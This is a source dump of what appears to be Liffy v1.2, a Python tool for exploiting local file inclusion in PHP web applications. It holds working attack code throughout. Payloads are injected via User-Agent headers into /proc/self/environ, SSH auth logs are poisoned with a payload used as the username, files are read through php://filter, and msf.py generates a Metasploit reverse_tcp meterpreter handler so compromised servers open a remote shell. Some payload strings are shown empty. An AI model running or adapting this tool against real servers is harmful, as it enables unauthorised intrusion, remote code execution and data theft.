344 | datetime.datetime.now())) + "Press Enter To Continue When Your Metasploit Handler is Running ...") 345 | 346 | if self.cookies: 347 | f_cookies = format_cookies(self.cookies) 348 | try: 349 | headers = {'User-Agent': payload} 350 | r = requests.get(lfi, headers=headers, cookies=f_cookies) 351 | if r.status_code != 200: 352 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 353 | else: 354 | if not self.relative: 355 | r = requests.get(lfi) 356 | print(t.white("[{0}] Try Refreshing Your Browser If You Haven't Gotten A Shell " 357 | .format(datetime.datetime.now()))) 358 | if r.status_code != 200: 359 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 360 | else: 361 | for path_traversal_sequence in path_traversal_sequences: 362 | for counter in xrange(10): 363 | lfi = self.target + path_traversal_sequence * counter + self.location 364 | r = requests.get(lfi) 365 | print(t.white("[{0}] Try Refreshing Your Browser If You Haven't Gotten A Shell " 366 | .format(datetime.datetime.now()))) 367 | if r.status_code != 200: 368 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 369 | except requests.HTTPError as access_error: 370 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error) 371 | else: 372 | try: 373 | headers = {'User-Agent': payload} 374 | r = requests.get(lfi, headers=headers) 375 | if r.status_code != 200: 376 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime))) 377 | else: 378 | if not self.relative: 379 | r = requests.get(lfi) 380 | print(t.white("[{0}] Try Refreshing Your Browser If You Haven't Gotten A Shell " 381 | .format(datetime.datetime.now()))) 382 | if r.status_code != 200: 383 | print(t.white("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 384 | else: 385 | for path_traversal_sequence in path_traversal_sequences: 386 | for counter in xrange(10): 387 | lfi = self.target + path_traversal_sequence * counter + self.location 388 | r = requests.get(lfi) 389 | print(t.white("[{0}] Try Refreshing Your Browser If You Haven't Gotten A Shell " 390 | .format(datetime.datetime.now()))) 391 | if r.status_code != 200: 392 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 393 | except requests.HTTPError as access_error: 394 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error) 395 | 396 | 397 | #--------------------------------------------------------------------------------------------------- 398 | 399 | 400 | class Environ: 401 | def __init__(self, target, nostager, relative, cookies): 402 | 403 | self.target = target 404 | self.nostager = nostager 405 | self.relative = relative 406 | self.location = "/proc/self/environ" 407 | self.cookies = cookies 408 | 409 | def execute_environ(self): 410 | 411 | lhost, lport, shell = msf_payload() 412 | 413 | handle = Payload(lhost, lport) 414 | handle.handler() 415 | 416 | """ Handle staging """ 417 | 418 | if self.nostager: 419 | print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "No-Staged Selected!") 420 | payload_file = open("/tmp/{0}.php".format(shell), "r") 421 | payload = "".format( 422 | payload_file.read().encode('base64').replace("\n", "")) 423 | payload_file.close() 424 | else: 425 | payload = stager_payload.format(lhost, shell) 426 | progressbar() 427 | try: 428 | p = subprocess.Popen(['python http_server.py'], shell=True, stdout=subprocess.PIPE) 429 | p.communicate() 430 | except OSError as os_error: 431 | print(t.red("[{0}] ".format(datetime.datetime.now()) + "Process Error"))(os_error) 432 | 433 | """ Build LFI """ 434 | 435 | lfi = self.target + self.location 436 | headers = {'User-Agent': payload} 437 | 438 | raw_input(t.cyan( 439 | "[{0}] ".format(datetime.datetime)) + "Press Enter To Continue When Your Metasploit Handler is Running ...") 440 | try: 441 | if not self.relative: 442 | if self.cookies: 443 | f_cookies = format_cookies(self.cookies) 444 | try: 445 | r = requests.get(lfi, headers=headers, cookies=f_cookies) 446 | if r.status_code != 200: 447 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 448 | sys.exit(1) 449 | else: 450 | sys.exit(0) 451 | except requests.RequestException as access_error: 452 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error) 453 | sys.exit(1) 454 | else: 455 | try: 456 | r = requests.get(lfi, headers=headers) 457 | if r.status_code != 200: 458 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 459 | sys.exit(1) 460 | else: 461 | sys.exit(0) 462 | except requests.RequestException as access_error: 463 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error) 464 | sys.exit(1) 465 | else: 466 | for path_traversal_sequence in path_traversal_sequences: 467 | for counter in xrange(10): 468 | lfi = self.target + path_traversal_sequence * counter + self.location 469 | if self.cookies: 470 | f_cookies = format_cookies(self.cookies) 471 | try: 472 | r = requests.get(lfi, headers=headers, cookies=f_cookies) 473 | if r.status_code != 200: 474 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 475 | sys.exit(1) 476 | else: 477 | sys.exit(0) 478 | except requests.RequestException as access_error: 479 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error) 480 | sys.exit(1) 481 | else: 482 | try: 483 | r = requests.get(lfi, headers=headers) 484 | if r.status_code != 200: 485 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 486 | sys.exit(1) 487 | else: 488 | sys.exit(0) 489 | except requests.RequestException as access_error: 490 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error) 491 | sys.exit(1) 492 | except Exception as unknown_error: 493 | print t.red("[{0}] Unknown Error ".format(datetime.datetime.now()))(unknown_error) 494 | sys.exit(1) 495 | 496 | 497 | #--------------------------------------------------------------------------------------------------- 498 | 499 | 500 | class SSHLogs: 501 | def __init__(self, target, location, relative, cookies): 502 | 503 | self.target = target 504 | self.location = location 505 | self.relative = relative 506 | self.cookies = cookies 507 | 508 | def execute_ssh(self): 509 | 510 | lhost, lport, shell = msf_payload() 511 | 512 | handle = Payload(lhost, lport) 513 | handle.handler() 514 | 515 | payload_file = open('/tmp/{0}.php'.format(shell), 'r') 516 | 517 | payload_stage2 = quote_plus(payload_file.read()) 518 | payload_file.close() 519 | payload = "" 520 | 521 | print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Start SSH Log Poisoning ..." + "\n") 522 | 523 | host = urlparse.urlsplit(self.target).netloc 524 | system('/usr/bin/ssh "{0}@{1}"'.format(payload, host)) 525 | 526 | print("\n") 527 | 528 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Executing Shell!") 529 | 530 | """ Attempt traverse """ 531 | 532 | if not self.relative: 533 | lfi = self.target + self.location + '&code={0}'.format(payload_stage2) 534 | if self.cookies: 535 | f_cookies = format_cookies(self.cookies) 536 | try: 537 | r = requests.get(lfi, cookies=f_cookies) 538 | if r.status_code != 200: 539 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 540 | except requests.HTTPError as access_error: 541 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error) 542 | else: 543 | try: 544 | r = requests.get(lfi) 545 | if r.status_code != 200: 546 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 547 | except requests.HTTPError as access_error: 548 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error) 549 | 550 | else: 551 | for path_traversal_sequence in path_traversal_sequences: 552 | for counter in xrange(10): 553 | lfi = self.target + path_traversal_sequence * counter + self.location + '&code={0}'.format( 554 | payload_stage2) 555 | if self.cookies: 556 | f_cookies = format_cookies(self.cookies) 557 | try: 558 | r = requests.get(lfi, cookies=f_cookies) 559 | if r.status_code != 200: 560 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 561 | sys.exit(1) 562 | else: 563 | sys.exit(0) 564 | except requests.HTTPError as access_error: 565 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error) 566 | sys.exit(1) 567 | else: 568 | try: 569 | r = requests.get(lfi) 570 | if r.status_code != 200: 571 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 572 | sys.exit(1) 573 | else: 574 | sys.exit(0) 575 | except requests.HTTPError as access_error: 576 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(access_error) 577 | sys.exit(1) 578 | 579 | 580 | #--------------------------------------------------------------------------------------------------- 581 | 582 | 583 | class Filter: 584 | def __init__(self, target, cookies): 585 | 586 | self.target = target 587 | self.cookies = cookies 588 | 589 | def execute_filter(self): 590 | 591 | """ Build payload """ 592 | 593 | f_file = raw_input(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Please Enter File To Read: ") 594 | payload = "php://filter/convert.base64-encode/resource={0}".format(f_file) 595 | lfi = self.target + payload 596 | 597 | """ Handle cookies """ 598 | 599 | if self.cookies: 600 | f_cookies = format_cookies(self.cookies) 601 | try: 602 | r = requests.get(lfi, cookies=f_cookies) 603 | if r.status_code != 200: 604 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 605 | else: 606 | time.sleep(1) 607 | try: 608 | result = base64.b64decode(r.text) 609 | print( 610 | t.cyan("[{0}] ".format(datetime.datetime.now())) + "Decoded: " + t.cyan( 611 | textwrap.fill(result))) 612 | except TypeError as type_error: 613 | print(type_error) 614 | sys.exit(1) 615 | except requests.HTTPError as filter_error: 616 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(filter_error) 617 | else: 618 | try: 619 | r = requests.get(lfi) 620 | if r.status_code != 200: 621 | print(t.red("[{0}] Unexpected HTTP Response ".format(datetime.datetime.now()))) 622 | sys.exit(1) 623 | else: 624 | time.sleep(1) 625 | try: 626 | result = base64.b64decode(r.text) 627 | print( 628 | t.cyan("[{0}] ".format(datetime.datetime.now())) + "Decoded: " + t.cyan( 629 | textwrap.fill(result))) 630 | except TypeError as type_error: 631 | print(type_error) 632 | sys.exit(1) 633 | except requests.HTTPError as filter_error: 634 | print t.red("[{0}] HTTP Error ".format(datetime.datetime.now()))(filter_error) 635 | -------------------------------------------------------------------------------- /http_server.py: -------------------------------------------------------------------------------- 1 | import SimpleHTTPServer 2 | import SocketServer 3 | import daemon 4 | import os 5 | 6 | """ Setup Server Params """ 7 | handler = SimpleHTTPServer.SimpleHTTPRequestHandler 8 | SocketServer.TCPServer.allow_reuse_address = True 9 | httpd = SocketServer.TCPServer(("0.0.0.0", 8000), handler) 10 | daemon_context = daemon.DaemonContext() 11 | daemon_context.files_preserve = [httpd.fileno()] 12 | 13 | with daemon_context: 14 | os.chdir("/tmp/") 15 | httpd.handle_request() 16 | 17 | -------------------------------------------------------------------------------- /liffy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | __author__ = 'rotlogix' 4 | __author__ = 'unicornFurnace' 5 | 6 | import argparse 7 | import sys 8 | import requests 9 | import urlparse 10 | import time 11 | import core 12 | import datetime 13 | from blessings import Terminal 14 | 15 | 16 | def main(): 17 | # Terminal Colors 18 | t = Terminal() 19 | 20 | def banner(): 21 | print(t.cyan(""" 22 | 23 | .____ .__ _____ _____ 24 | | | |__|/ ____\/ ____\__.__. 25 | | | | \ __\ __< | | 26 | | |___| || | | | \___ | 27 | |_______ \__||__| |__| / ____| v1.2 28 | \/ \/ 29 | 30 | """)) 31 | 32 | def progressbar(): 33 | 34 | bar_width = 70 35 | sys.stdout.write(t.cyan("[{0}] ".format(datetime.datetime.now())) + " " * bar_width) 36 | sys.stdout.flush() 37 | sys.stdout.write("\b" * (bar_width + 1)) 38 | 39 | for w in xrange(bar_width): 40 | time.sleep(0.01) 41 | sys.stdout.write(".") 42 | sys.stdout.flush() 43 | 44 | sys.stdout.write("\n") 45 | 46 | #--------------------------------------------------------------------------------------------------- 47 | 48 | banner() 49 | 50 | if not len(sys.argv): 51 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Not Enough Arguments!") 52 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Example: ./liffy.py --url \ 53 | http://target/files.php?file= --data\n") 54 | sys.exit(0) 55 | 56 | #--------------------------------------------------------------------------------------------------- 57 | 58 | """ Command Line Arguments """ 59 | 60 | parser = argparse.ArgumentParser() 61 | parser.add_argument("--url", help="target url") 62 | parser.add_argument("--data", help="data technique", action="store_true") 63 | parser.add_argument("--input", help="input technique", action="store_true") 64 | parser.add_argument("--expect", help="expect technique", action="store_true") 65 | parser.add_argument("--environ", help="/proc/self/environ technique", action="store_true") 66 | parser.add_argument("--access", help="access logs technique", action="store_true") 67 | parser.add_argument("--ssh", help="auth logs technique", action="store_true") 68 | parser.add_argument("--filter", help="filter technique", action="store_true") 69 | parser.add_argument("--location", help="path to target file (access log, auth log, etc.)") 70 | parser.add_argument("--nostager", help="execute payload directly, do not use stager", action="store_true") 71 | parser.add_argument("--relative", help="use path traversal sequences for attack", action="store_true") 72 | parser.add_argument("--cookies", help="session cookies") 73 | args = parser.parse_args() 74 | 75 | #--------------------------------------------------------------------------------------------------- 76 | 77 | """ Assign argument values """ 78 | 79 | url = args.url 80 | nostager = args.nostager 81 | relative = args.relative 82 | c = args.cookies 83 | 84 | #--------------------------------------------------------------------------------------------------- 85 | 86 | """ Check to make sure target is actually up """ 87 | 88 | print(t.cyan("[{0}] ".format(datetime.datetime.now())) + "Checking Target: {0}".format(url)) 89 | parsed = urlparse.urlsplit(url) 90 | domain = parsed.scheme + "://" + parsed.netloc 91 | progressbar() 92 | 93 | try: 94 | r = requests.get(domain) 95 | if r.status_code != 200: 96 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Did Not Receive Correct Response From Target URL!") 97 | else: 98 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Target URL Looks Good!") 99 | if args.data: 100 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Data Technique Selected!") 101 | d = core.Data(url, nostager, c) 102 | d.execute_data() 103 | elif args.input: 104 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Input Technique Selected!") 105 | i = core.Input(url, nostager, c) 106 | i.execute_input() 107 | elif args.expect: 108 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Expect Technique Selected!") 109 | e = core.Expect(url, nostager, c) 110 | e.execute_expect() 111 | elif args.environ: 112 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "/proc/self/environ Technique Selected!") 113 | i = core.Environ(url, nostager, relative, c) 114 | i.execute_environ() 115 | elif args.access: 116 | if not args.location: 117 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Log Location Not Provided! Using Default") 118 | l = '/var/log/apache2/access.log' 119 | else: 120 | l = args.location 121 | a = core.Logs(url, l, nostager, relative, c) 122 | a.execute_logs() 123 | elif args.ssh: 124 | if not args.location: 125 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Log Location Not Provided! Using Default") 126 | l = '/var/log/auth.log' 127 | else: 128 | l = args.location 129 | a = core.SSHLogs(url, l, relative, c) 130 | a.execute_ssh() 131 | elif args.filter: 132 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Filter Technique Selected!") 133 | f = core.Filter(url, c) 134 | f.execute_filter() 135 | else: 136 | print(t.red("[{0}] ".format(datetime.datetime.now())) + "Technique Not Selected!") 137 | sys.exit(0) 138 | except requests.HTTPError as e: 139 | print(t.red("[{0}] HTTP Error!".format(datetime.datetime.now())) + str(e)) 140 | 141 | #--------------------------------------------------------------------------------------------------- 142 | 143 | 144 | if __name__ == "__main__": 145 | try: 146 | main() 147 | except KeyboardInterrupt: 148 | main_t = Terminal() 149 | print(main_t.red(" [{0}] ".format(datetime.datetime.now())) + "Keyboard Interrupt!") 150 | sys.exit(0) 151 | 152 | -------------------------------------------------------------------------------- /msf.py: -------------------------------------------------------------------------------- 1 | __author__ = 'rotlogix' 2 | 3 | import datetime 4 | from blessings import Terminal 5 | 6 | 7 | class Payload: 8 | t = Terminal() 9 | 10 | def __init__(self, lhost, lport): 11 | self.lhost = lhost 12 | self.lport = lport 13 | 14 | def handler(self): 15 | opt = "use multi/handler\n" 16 | opt += "set payload php/meterpreter/reverse_tcp\n" 17 | opt += "set LHOST {0}\n set LPORT {1}\n".format(self.lhost, self.lport) 18 | opt += "set ExitOnSession false\n" 19 | opt += "exploit -j\n" 20 | f = file("php_listener.rc", "w") 21 | f.write(opt) 22 | f.close() 23 | print Payload.t.red("[{0}] ".format(datetime.datetime.now())) + "Generated Metasploit Resource File" 24 | print Payload.t.red("[{0}] ".format(datetime.datetime.now())) + "Load Metasploit: msfconsole -r php_listener.rc" 25 | -------------------------------------------------------------------------------- /shell_generator.py: -------------------------------------------------------------------------------- 1 | __author__ = 'rotlogix' 2 | 3 | import string 4 | import random 5 | 6 | 7 | class Generator: 8 | 9 | def __init__(self, size=8, chars=string.ascii_lowercase + string.digits): 10 | 11 | self.size = size 12 | self.chars = chars 13 | 14 | def generate(self): 15 | 16 | value = ''.join(random.choice(self.chars) for _ in range(self.size)) 17 | return value 18 | 19 | --------------------------------------------------------------------------------